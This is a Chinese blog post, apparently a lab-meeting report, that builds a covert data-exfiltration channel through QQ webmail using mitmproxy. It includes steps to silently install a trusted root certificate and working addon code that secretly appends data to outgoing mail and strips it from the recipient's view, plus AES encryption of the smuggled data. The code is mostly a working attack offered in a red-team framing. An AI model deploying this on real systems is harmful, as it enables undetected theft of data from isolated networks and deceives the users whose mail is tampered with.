借助mitmproxy通过电子邮件隐式传输信息 前言这其实是我上上周的组会周报。
要实现的效果:
假设邮件发送方的电脑不能连接外网只能通过自建OWA等服务向内网邮箱发送邮件,但接收方除了可以通过内网访问邮件服务接收邮件外还能连接外网。在邮件收发双方各自植入一个mitmproxy脚本,发送方脚本在发送方电脑上扫描到秘密信息想要传递出来,接收方脚本获取到秘密信息后将信息解密并悄悄传输到外网。
整个过程需要保证:收发双方在浏览器中无法察觉邮件被篡改了。
应用场景(讲故事):
AB两公司都是以安全为主业的公司,B公司为了测试A公司的安全保密程度是否可靠,向A公司发起了挑战,以成功将A公司的核心电脑上的一些信息传输出来为目标。
A公司接受了这一挑战,为了防止A公司核心电脑上的内容遭到泄露,A公司将核心电脑修改为只能连接内网,A公司认为,由于B公司无法访问A公司内网,所以这样就会尽可能地安全。
但是A公司的核心电脑在某些时候仍然需要被使用,因为疫情等原因A公司有员工使用非核心电脑在家远程办公。A公司的主管有时需要使用核心电脑通过内网和非核心成员进行沟通。
B公司决定利用这一特性,想要通过A公司将邮件通过内网发送给能连接外网的非核心电脑这一特性来将核心电脑的信息传输出来。
假设B公司已经利用已有漏洞在A公司的电脑上植入了一些脚本,这些脚本可以进行如下操作:
对于A公司不能联网的核心电脑,脚本读取核心电脑上的一些信息。并在核心电脑上静默安装可信任证书,使用mitmproxy工具,在核心电脑使用邮件客户端(实际上走的HTTPS协议)发送消息时,将想要传输的消息编码加密并以一定的格式附加到邮件的末尾。
对于A公司能联网的非核心电脑,脚本同样通过mitmproxy,在非核心成员通过网页读取邮件时,读取邮件中附加的内容并解码,将邮件内容还原。之后由于非核心电脑能够连接公网,脚本可以直接往B公司预留接口发送加密后的信息,至此A公司只能连接内网的核心电脑上的一部分信息也被隐式地传输了出来。
这样,核心电脑和非核心电脑所能看到的都是正常的邮件,A公司很难察觉。因此,B公司胜利,成功证明了以安全为主业的A公司仍然存在安全保障不周的漏洞。
实现过程 改包1 2 3 pip install mitmproxy mitmproxy --mode transparent
BASH
浏览器访问http://mitm.it
下载证书并安装:
双击P12文件,启动导入向导。
选择证书存储位置(这将决定谁将信任该证书——仅当前Windows用户OR机器上的所有人)点击下一步。
再次点击下一步。
将密码留空并点击下一步。
选择“将所有证书放入以下存储”,然后点击浏览,并选择“受信任的根证书颁发机构”。
点击确定和下一步。
点击完成。
在警告对话框中点击是以确认。
这一步中,若是向“当前用户”安装证书,则不需要管理员权限。
当然也可以使用命令行添加证书(未实操)
1 certutil -addstore root 0.crt
SHELL
若想编写脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from mitmproxy import httpimport logging logger_url = logging.getLogger('logger_url' ) formatter_url = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s' )for handler in logger_url.handlers[:]: if isinstance (handler, logging.StreamHandler): logger_url.removeHandler(handler) logger_url.setLevel(logging.DEBUG) filehandler_url = logging.FileHandler('url.log' ) filehandler_url.setFormatter(formatter_url) logger_url.addHandler(filehandler_url) logger_text = logging.getLogger('logger_text' ) formatter_text = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s' )for handler in logger_text.handlers[:]: if isinstance (handler, logging.StreamHandler): logger_text.removeHandler(handler) logger_text.setLevel(logging.DEBUG) filehandler_text = logging.FileHandler('text.log' ) filehandler_text.setFormatter(formatter_text) logger_text.addHandler(filehandler_text)def request (flow: http.HTTPFlow ) -> None : pass def response (flow: http.HTTPFlow ) -> None : logger_url.info(flow.request.pretty_url) if "web.letmefly.xyz" in flow.request.pretty_url and 'text/html' in flow.response.headers.get('content-type' , '' ): logger_url.info('replace HTML to LMTH' ) flow.response.text = flow.response.text.replace("HTML" , "LMTH" )
PYTHON
设置代理服务器为localhost:8080
,然后:
1 mitmproxy -s modifyPackage.py --listen-host localhost
BASH
结果发现:请求替换成功!
代理前:
代理前
代理后:
代理后
由于具有主机操作权限,所以主机信任mitm颁发的证书,浏览器也没有任何“不安全警告”,页面就这么悄无声息地被替换了。
邮件发送1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import smtplibfrom email.mime.text import MIMETextfrom email.mime.multipart import MIMEMultipartfrom password import sender_password smtp_server = 'smtp.qq.com' smtp_port = 587 sender_email = 'LetMeFly666@qq.com' sender_password = sender_password receiver_email = 'Tisfy@qq.com' subject = '这是一封正常邮件' body = '今天中午吃饭吗' msg = MIMEMultipart() msg['From' ] = sender_email msg['To' ] = receiver_email msg['Subject' ] = subject msg.attach(MIMEText(body, 'plain' ))try : server = smtplib.SMTP(smtp_server, smtp_port) server.starttls() server.login(sender_email, sender_password) server.sendmail(sender_email, receiver_email, msg.as_string()) print ("邮件发送成功" )except Exception as e: print (f"邮件发送失败: {e} " )finally : server.quit()
PYTHON
发送成功
邮件接收1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import imaplibimport emailfrom email.header import decode_headerfrom password import sender_password imap_server = 'imap.qq.com' imap_port = 993 email_address = 'tf.li@foxmail.com' email_password = sender_passwordtry : mail = imaplib.IMAP4_SSL(imap_server, imap_port) mail.login(email_address, email_password) mail.select('inbox' ) status, messages = mail.search(None , 'ALL' ) if status != 'OK' : print ("没有找到邮件" ) exit() mail_ids = messages[0 ].split() latest_mail_id = mail_ids[-1 ] status, msg_data = mail.fetch(latest_mail_id, '(RFC822)' ) if status != 'OK' : print ("无法获取邮件内容" ) exit() for response_part in msg_data: if isinstance (response_part, tuple ): msg = email.message_from_bytes(response_part[1 ]) subject, encoding = decode_header(msg['Subject' ])[0 ] if isinstance (subject, bytes ): subject = subject.decode(encoding if encoding else 'utf-8' ) from_ = msg.get('From' ) print (f"主题: {subject} " ) print (f"发件人: {from_} " ) if msg.is_multipart(): for part in msg.walk(): content_type = part.get_content_type() content_disposition = str (part.get("Content-Disposition" )) if content_type == 'text/plain' and 'attachment' not in content_disposition: body = part.get_payload(decode=True ).decode() print (f"正文: {body} " ) else : body = msg.get_payload(decode=True ).decode() print (f"正文: {body} " )except Exception as e: print (f"接收邮件失败: {e} " )finally : mail.logout()
PYTHON
[!CAUTION]
在邮件接收还未认证的时候,忽然想到mitmproxy是不是只能抓HTTP(s)不能抓SMTP之类的
发了个邮件果然没抓到。。。
客户端发送邮件抓包那就不模拟了,直接使用客户端发吧,这样也更真实一点。
以QQ邮件为例,发送邮件时会向https://mail.qq.com/cgi-bin/compose_send?sid=xxxxx
发送一个POST请求,表单数据包括:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 mailtype: dockey: bigattachcontent: xxxxxxxxxxx: xxxxxxxxxsid: xxxxxbigattachcnt: exstore: from_s: cnewswap: signtype: newwin: verifykey: stationeryCount: to: "Let" < Tisfy@qq.com> swap3: cc: subject: 今日指令content__html: 一切正常,和昨天一样sendmailname: tisfy@foxmail.comsavesendbox: 1 swap2: transattach: SrcMailCharset: xqqstyle: mailbgmusic: actiontype: sendpriority: sendname: LetMeFlyacctid: 0 ReAndFw: separatedcopy: false fmailid: xxxx-xxxxxxReAndFwMailid: cattachelist: upfilelist: rsturl: fileidlist: t: backgroundsendverifycode: verifycode_cn: s: commfrom: hitaddrbook: 0 selfdefinestation: - 1 backurl: noatcp: domaincheck: 0 cgitm: 1741223758403 clitm: 1741223762955 comtm: 1741223962691 logattcnt: 0 logattsize: 0 logattmethod: timezone: 28800 timezone_dst: 0 resp_charset: UTF8bgsend: 1
NIX
消息内容在content__html
字段中。又觉得可行了起来。
客户端接收邮件抓包当用户读取具体邮件时,会请求:https://mail.qq.com/cgi-bin/readmail?folderid=1&folderkey=1&t=readmail&mailid=xxxx~xxx&mode=pre&maxage=3600&base=11.08&ver=13964&sid=xxxx
。
请求头之类的不重要,我们只要匹配这个url就行。
可以看到,响应体里就是一个HTML,简化后如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 <!DOCTYPE html > <html > <head > <meta http-equiv ="Content-Type" content ="text/html; charset=gb18030" /> <title > 今日指令 - QQ邮箱</title > </head > <body context ="邮件ID" module ="qmReadMail" md ="md" mu ="mu" > <div class ="mailcontainer" id ="qqmail_mailcontainer" > <div id ="mainmail" style ="position:relative;z-index:1;margin-bottom:12px;" > <div id ="contentDiv" onmouseover ="getTop().stopPropagation(event);" onClick ="getTop().preSwapLink(event, 'html', 'ZC0006_StHNHHSMYOYuV2cAGA~jBf3');" style ="position:relative;font-size:14px;height:auto;padding:15px 15px 10px 15px;z-index:1;zoom:1;line-height:1.7;" class ="body" > <div id ="qm_con_body" > <div id ="mailContentContainer" onClick ="getTop().previewContentImage(event, '')" onMousemove ="getTop().contentImgMouseOver(event, '')" onMouseout ="getTop().contentImgMouseOut(event, '')" class ="qmbox qm_con_body_content qqmail_webmail_only" style ="opacity: 0" > <div id ="mailcontent_image_operator" onMouseover ="getTop().contentOperatorMouseOver(event)" onClick ="getTop().handleOperatorClick(event)" style ="position: fixed; left: 0; top: 0;" > <div class ="operator-item" title ="图片翻译" id ="operator-item-translate" operate ="translate" > <div class ="item-inner" operate ="translate" > </div > </div > <div class ="operator-item" title ="文字提取" id ="operator-item-extract" operate ="extract" > <div class ="item-inner" operate ="extract" > </div > </div > <div class ="operator-item" title ="导出表格" id ="operator-item-form" operate ="form" > <div class ="item-inner" operate ="form" > </div > </div > <div class ="operator-item" title ="下载图片" id ="operator-item-download" operate ="download" > <div class ="item-inner" operate ="download" > </div > </div > </div > <script > document .addEventListener ('DOMContentLoaded' , function ( ) { getTop ().handleScanContentImage ('ZC0006_StHNHHSMYOYuV2cAGA~jBf3' ); }) </script > <style > img [image-inside-content='1' ] { cursor : pointer; } </style > 一切正常,和昨天一样<style type ="text/css" > .qmbox style, .qmbox script, .qmbox head, .qmbox link, .qmbox meta { display : none !important ; } </style > </div > </div > <style > #mailContentContainer .txt { height : auto; } </style > </div > </div > </div > </body > </html >
HTML
发送的邮件主体就出现在简化后的HTML的第38行。
在研究期间还看到了一个有点意思的图,mark一下:
stream
消息验证 - 发送邮件时后台篡改1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from mitmproxy import httpfrom urllib.parse import parse_qs, urlencodeimport logging logger_url = logging.getLogger('logger_url' ) formatter_url = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s' )for handler in logger_url.handlers[:]: if isinstance (handler, logging.StreamHandler): logger_url.removeHandler(handler) logger_url.setLevel(logging.DEBUG) filehandler_url = logging.FileHandler('url.log' ) filehandler_url.setFormatter(formatter_url) logger_url.addHandler(filehandler_url)class AddSignatureAddon : def request (self, flow: http.HTTPFlow ) -> None : if flow.request.method == "POST" and "/cgi-bin/compose_send" in flow.request.url: content_type = flow.request.headers.get("Content-Type" , "" ) if "application/x-www-form-urlencoded" in content_type: try : parsed_data = parse_qs(flow.request.content.decode("utf-8" )) except Exception as e: logger_url(f"解析表单数据失败: {e} " ) return if "content__html" in parsed_data and parsed_data["content__html" ]: original_content = parsed_data["content__html" ][0 ] new_content = original_content + "*******计划有变*******" parsed_data["content__html" ][0 ] = new_content updated_content = urlencode(parsed_data, doseq=True ).encode("utf-8" ) flow.request.content = updated_content logger_url("成功添加签名!" ) else : logger_url("未找到content__html字段" ) addons = [AddSignatureAddon()]
PYTHON
设置代理服务器为localhost:8080
,然后:
1 mitmproxy -s modifyPackage.py --listen-host localhost
BASH
发送邮件,可以看到网页端没有任何异常,浏览器控制台也一切正常。
但是实际发出的邮件就不一样了,多了一段*******签名*******
实际邮件
消息验证 - 收到邮件时后台篡改1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 def response (self, flow: http.HTTPFlow ) -> None : if flow.request.method == 'GET' and '/cgi-bin/readmail' in flow.request.url: if "text/html" not in flow.response.headers.get("Content-Type" , "" ): return soup = BeautifulSoup(flow.response.content, "lxml" ) content_div = soup.find("div" , {"id" : "mailContentContainer" }) logger.info(f'{content_div} ' ) if not content_div: return text_nodes = content_div.find_all(text=True , recursive=True ) for node in text_nodes: match = re.search(r'\*{7}(.*?)\*{7}' , node.string) if match : signature = match .group(1 ) print (f"提取到签名:{signature} " ) clean_text = re.sub(r'\*{7}.*?\*{7}' , '' , node.string) node.replace_with(clean_text) flow.response.content = str (soup).encode("utf-8" ) flow.response.headers["Content-Length" ] = str (len (flow.response.content))
PYTHON
等下,篡改失败了?
仔细一看,response中有这么一段:
1 <meta http-equiv ="Content-Type" content ="text/html; charset=gb18030" />
HTML
logging的日志也显示乱码。
通过解码后能正常解析并修改原文内容了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 def response (self, flow: http.HTTPFlow ) -> None : if flow.request.method == 'GET' and '/cgi-bin/readmail' in flow.request.url: if "text/html" not in flow.response.headers.get("Content-Type" , "" ): return try : html_content = flow.response.content.decode("gb18030" ) except UnicodeDecodeError: logger.info('解码失败:可能不是GB18030编码' ) soup = BeautifulSoup(html_content, "lxml" ) content_div = soup.find("div" , {"id" : "mailContentContainer" }) logger.info(f'{content_div} ' ) if not content_div: return text_nodes = content_div.find_all(text=True , recursive=True ) for node in text_nodes: match = re.search(r'\*{7}(.*?)\*{7}' , node.string) if match : signature = match .group(1 ) print (f"提取到签名:{signature} " ) clean_text = re.sub(r'\*{7}.*?\*{7}' , '' , node.string) node.replace_with(clean_text) flow.response.content = str (soup).encode("gb18030" ) flow.response.headers["Content-Length" ] = str (len (flow.response.content))
PYTHON
但是通过抓包可以发现,通过beautifulsoup解析html并重新编码html,产生内容还是会稍有不同:
header:原始编码为gb18030
,但decode并由BS解析后就变成了utf-8
原来:
1 2 3 4 5 6 7 <meta http-equiv ="Content-Type" content ="text/html; charset=gb18030" /> ```` 解析后: ```html<meta content ="text/html; charset=utf-8" http-equiv ="Content-Type" />
HTML
有些细节和原来内容不完全一致
例如1.中的顺序,原来是先http-equiv
后content
,结果变成了先content
后http-equiv
还有的
会被直接由空格代替。
解决方法有二:
令BS树的编码方式为gb18030
不BS树,直接用正则解析
使用方法一:
1 2 3 meta_tag = soup.find("meta" , attrs={"http-equiv" : "Content-Type" })if meta_tag: meta_tag["content" ] = "text/html; charset=gb18030"
PYTHON
抓包发现meta content的内容正常了,但邮件直接全部不显示。
肉眼可见BS对原文内容进行了很多修改,于是决定使用方案二
1 2 3 4 5 6 7 8 9 10 11 try : html_content = flow.response.content.decode("gb18030" )except UnicodeDecodeError: logger.info('解码失败:可能不是GB18030编码' )match = re.search(r'\*{7}(.*?)\*{7}' , html_content)if match : signature = match .group(1 ) logger.info(f"提取到签名:{signature} " ) html_content = re.sub(r'\*{7}.*?\*{7}' , '' , html_content) flow.response.content = html_content.encode("gb18030" ) flow.response.headers["Content-Length" ] = str (len (flow.response.content))
PYTHON
然后功能实现了
没有隐藏信息
展示工作所有所需功能已经实现,接下来就是演示了。
发送端:一个小黑框,接收想要隐蔽传递的信息
接收端:一个小黑框,显示接收到的隐藏信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 今日指令 今日跑步挑战:今天每人跑步10000米,保持健康,突破自我! (记录时间:,完成情况:) 今日阅读任务:今天每人阅读50页书,提升知识储备,开阔视野。 (书名:,进度:) 今日饮水目标:今天每人饮水2000毫升,保持身体水分平衡。 (完成杯数:,剩余目标:) 今日学习时间:今天每人学习2小时,专注于技能提升或兴趣培养。 (学习内容:,完成情况:) 今日冥想练习:今天每人冥想15分钟,放松身心,提升专注力。 (冥想主题:,感受:) 今日写作任务:今天每人写作500字,记录生活或创作故事。 (写作主题:,完成字数:) 今日蔬果摄入:今天每人摄入5份蔬果,保持均衡饮食。 (蔬果种类:,完成份数:) 今日早睡目标:今天每人晚上10点前入睡,保证充足睡眠。 (实际入睡时间:,睡眠质量:) 今日感恩记录:今天每人记录3件值得感恩的事,培养积极心态。 (感恩事项:1.____ 2.____ 3.____ ) 今日运动打卡:今天每人完成30分钟运动,形式不限(跑步、瑜伽、健身等)。 (运动类型:,完成时长:)
MARKDOWN
最终代码改包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 from mitmproxy import httpfrom urllib.parse import parse_qs, urlencodeimport loggingimport re logger = logging.getLogger('logger_url' ) formatter_url = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s' )for handler in logger.handlers[:]: if isinstance (handler, logging.StreamHandler): logger.removeHandler(handler) logger.setLevel(logging.DEBUG) filehandler_url = logging.FileHandler('url.log' ) filehandler_url.setFormatter(formatter_url) logger.addHandler(filehandler_url) logger.info('url log init' )class AddSignatureAddon : def request (self, flow: http.HTTPFlow ) -> None : if flow.request.method == "POST" and "/cgi-bin/compose_send" in flow.request.url: content_type = flow.request.headers.get("Content-Type" , "" ) if "application/x-www-form-urlencoded" not in content_type: return try : parsed_data = parse_qs(flow.request.content.decode("utf-8" )) except Exception as e: logger.info(f"解析表单数据失败: {e} " ) return if "content__html" in parsed_data and parsed_data["content__html" ]: original_content = parsed_data["content__html" ][0 ] try : with open ('letsender' , 'r' , encoding='utf-8' ) as f: hiddenMsg = f.read() except : hiddenMsg = '计划有变' new_content = original_content + f"*******{hiddenMsg} *******" parsed_data["content__html" ][0 ] = new_content updated_content = urlencode(parsed_data, doseq=True ).encode("utf-8" ) flow.request.content = updated_content logger.info("成功添加签名!" ) else : logger.info("未找到content__html字段" ) def response (self, flow: http.HTTPFlow ) -> None : if flow.request.method == 'GET' and '/cgi-bin/readmail' in flow.request.url: if "text/html" not in flow.response.headers.get("Content-Type" , "" ): return try : html_content = flow.response.content.decode("gb18030" ) except UnicodeDecodeError: logger.info('解码失败:可能不是GB18030编码' ) match = re.search(r'\*{7}(.*?)\*{7}' , html_content) if match : signature = match .group(1 ) logger.info(f"提取到签名:{signature} " ) with open ('letreceiver' , 'w' , encoding='utf-8' ) as f: f.write(signature) html_content = re.sub(r'\*{7}.*?\*{7}' , '' , html_content) flow.response.content = html_content.encode("gb18030" ) flow.response.headers["Content-Length" ] = str (len (flow.response.content)) addons = [AddSignatureAddon()]
PYTHON
发送方demo:
1 2 3 4 while True : data = input ('想隐蔽传输的信息:' ) with open ('letsender' , 'w' , encoding='utf-8' ) as f: f.write(data)
PYTHON
接收方demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import timefrom watchdog.observers import Observerfrom watchdog.events import FileSystemEventHandlerimport os FILE_PATH = 'letreceiver' if not os.path.exists(FILE_PATH): os.system(f'echo > {FILE_PATH} ' )class FileChangeHandler (FileSystemEventHandler ): def on_modified (self, event ): if event.src_path.endswith(FILE_PATH): print (f"File {FILE_PATH} has been modified. Reading new content..." ) self .read_file_content() def read_file_content (self ): try : with open (FILE_PATH, 'r' , encoding='utf-8' ) as file: content = file.read() print ("New content:" ) print (content) except Exception as e: print (f"Error reading file: {e} " )if __name__ == "__main__" : event_handler = FileChangeHandler() observer = Observer() observer.schedule(event_handler, path='.' , recursive=False ) observer.start() print (f"Started watching {FILE_PATH} for changes..." ) try : while True : time.sleep(1 ) except KeyboardInterrupt: observer.stop() observer.join()
PYTHON
提升当然也可以通过AES加密
首先随机生成个AES密钥:
1 2 3 4 5 from Crypto.Random import get_random_bytes key = get_random_bytes(32 )print ("AES Key:" , key.hex ())
PYTHON
这里我们约定密钥为:e3a9a39b3c95c109257aeb8c09cb8ad331779647c54de1a40a66d308f8e4a882
。
当然,在实际执行的时候,密钥可不能公布出来。
然后开始使用密钥加密解密:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpaddef encrypt_aes (plaintext: str , key: bytes ) -> bytes : cipher = AES.new(key, AES.MODE_CBC) ct_bytes = cipher.encrypt(pad(plaintext.encode(), AES.block_size)) return cipher.iv + ct_bytes def decrypt_aes (ciphertext: bytes , key: bytes ) -> str : iv = ciphertext[:AES.block_size] ct = ciphertext[AES.block_size:] cipher = AES.new(key, AES.MODE_CBC, iv) pt = unpad(cipher.decrypt(ct), AES.block_size) return pt.decode() msg = '其实今天要进攻' key = bytes .fromhex('e3a9a39b3c95c109257aeb8c09cb8ad331779647c54de1a40a66d308f8e4a882' ) encrypted = encrypt_aes(msg, key)print (encrypted.hex ()) decrypt = decrypt_aes(encrypted, key)print (decrypt)
PYTHON
运行结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 PS F :\OtherApps\Program\Git\Store\Store20_LeetCode\tryGoPy\MGJW\thisWeek> python main.py a41c71290d5ebc864b0feef9537a407d8b55504148bc0755b079cd4d1005cc7b80e9a98ec1df78a858a9ca8020208fc4 其实今天要进攻 PS F :\OtherApps\Program\Git\Store\Store20_LeetCode\tryGoPy\MGJW\thisWeek> python main.py668 c2d139c5729d432f403fa9bfad77fdb9c38cc0ae2f8dd66deff7141b656a46b36a3d2d82b8da07ee2a1e9c1179ee7 其实今天要进攻 PS F :\OtherApps\Program\Git\Store\Store20_LeetCode\tryGoPy\MGJW\thisWeek> python main.py0 a6b612c98f3d602f6185adf560d5467f3f4ca1505d6f913552a4d9de459f95cdeb25c3195410e50d3ffd40297e164e0 其实今天要进攻 PS F :\OtherApps\Program\Git\Store\Store20_LeetCode\tryGoPy\MGJW\thisWeek> python main.py75e3 cd8c45bd2223021b90deeec8352ca9bdd4f9bf816f03064099139541fa37b33a2b79e7d3a749c51ef7d4ec2a1dc1 其实今天要进攻 PS F :\OtherApps\Program\Git\Store\Store20_LeetCode\tryGoPy\MGJW\thisWeek> python main.py a5d65efb6037ca9ff21d0aef20a03d1289cc6feb0f1616ebe49c4458c686a6a7da405fdeab7a2a706190783d3f9b7bd9 其实今天要进攻
MOONSCRIPT
不难发现,每次加密出来的结果都不一样,这就避免了“统计每个字符频率”等破解方法。
之后就是收发双方以此为依据进行数据加密与解密了。
End
同步发文于CSDN 和我的个人博客 ,原创不易,转载经作者同意后请附上原文链接 哦~
千篇源码题解已开源